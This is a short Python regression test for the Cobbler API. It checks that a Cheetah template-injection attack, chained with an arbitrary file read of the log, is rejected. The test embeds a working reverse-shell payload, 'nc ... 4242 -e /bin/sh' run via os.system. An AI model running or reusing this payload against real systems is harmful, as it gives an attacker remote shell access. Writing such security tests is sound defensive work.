def METHOD_NAME(setup_profile, try_connect):
    # Arrange
    exploitcode = "__import__('os').system('nc [tnpitsecurity] 4242 -e /bin/sh')"
    cobbler_api = try_connect("http://localhost/cobbler_api")
    # Act
    profiles = cobbler_api.get_profiles()
    target = profiles[0]["name"]
    try:
        print("[+] Stage 1 : Poisoning log with Cheetah template RCE")
        result_stage_1 = cobbler_api.generate_script(
            target, "", "{<%= " + exploitcode + " %>}"
        )
        print("[+] Stage 2 : Rendering template using an arbitrary file read.")
        result_stage_2 = cobbler_api.generate_script(
            target, "", "/var/log/cobbler/cobbler.log"
        )
        # Assert this NOT succeeds
        assert not result_stage_1.startswith("__import__")
        # We should never get to stage two
    except xmlrpc.client.Fault as e:
        # We have no way of exactly knowing what is in there but if its a ValueError we most likely caught the exploit
        # before something happened.
        assert "ValueError" in e.faultString